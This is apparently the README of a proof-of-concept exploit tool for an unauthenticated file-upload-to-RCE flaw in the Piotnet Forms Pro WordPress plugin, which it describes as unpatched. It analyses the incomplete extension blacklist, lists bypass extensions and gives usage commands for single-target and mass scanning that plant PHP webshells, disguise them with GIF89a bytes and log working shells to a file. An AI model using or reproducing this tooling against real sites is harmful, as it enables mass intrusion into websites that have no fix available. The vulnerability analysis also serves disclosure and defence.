CVE-2026-4883: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload → RCE

The vulnerability stems from inadequate file type validation in the piotnetforms_ajax_form_builder function. The plugin employs an incomplete extension blacklist blocking only php, phpt, php5, php7, and exe while permitting dangerous alternatives like .phtml or .phar.

Vulnerability Details

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Affected Versions: <= 2.1.40
• Patch Status: No patch available
• Published: May 18, 2026
• Researchers: Shadow & Friska (PoC authors)

Root Cause Analysis

The AJAX handler is registered without any authentication requirement:

// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );

File validation relies solely on an incomplete extension blacklist with no MIME type or magic bytes verification:

// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];

$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );

if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
    wp_die();
}

// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );

The upload directory contains only an empty index.html to prevent directory listing — no .htaccess to block PHP execution. Uploaded files land publicly accessible at:

/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}

The file URL can be retrieved unauthenticated via the piotnetforms_export_form_submission AJAX action (also nopriv), completing the full unauthenticated RCE chain.

This is the same copy-paste bug present in CVE-2026-4885 — both plugins share identical vulnerable upload handling code from the same developer.

Usage Instructions

Interactive Mode:

python3 shadow.py

Single Target:

python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml

Mass Scanning:

python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml

CLI Options:

• -u, --url - Target URL
• -f, --file - Targets file (one per line)
• -s, --shell - Custom PHP shell (GIF89a auto-prepended)
• -t, --threads - Concurrent threads (default: 5)
• -h, --help - Help display

Key Features

• Interactive menu for single or mass scanning
• Asynchronous parallel reconnaissance
• Automatic discovery of form parameters from HTML hidden inputs
• GIF89a polyglot magic bytes for bypass attempts
• URL leakage via piotnetforms_export_form_submission (unauthenticated)
• Shell upload verification with PHP execution checks
• Results saved to shell.txt
• Configurable threading for mass operations

Blocked Extensions

.php .phpt .php5 .php7 .exe

Bypass extensions: .phtml .phar .shtml .php8

Requirements

pip install httpx

Disclaimer

The tool is intended exclusively for authorized security testing and educational purposes. Unauthorized system testing is prohibited.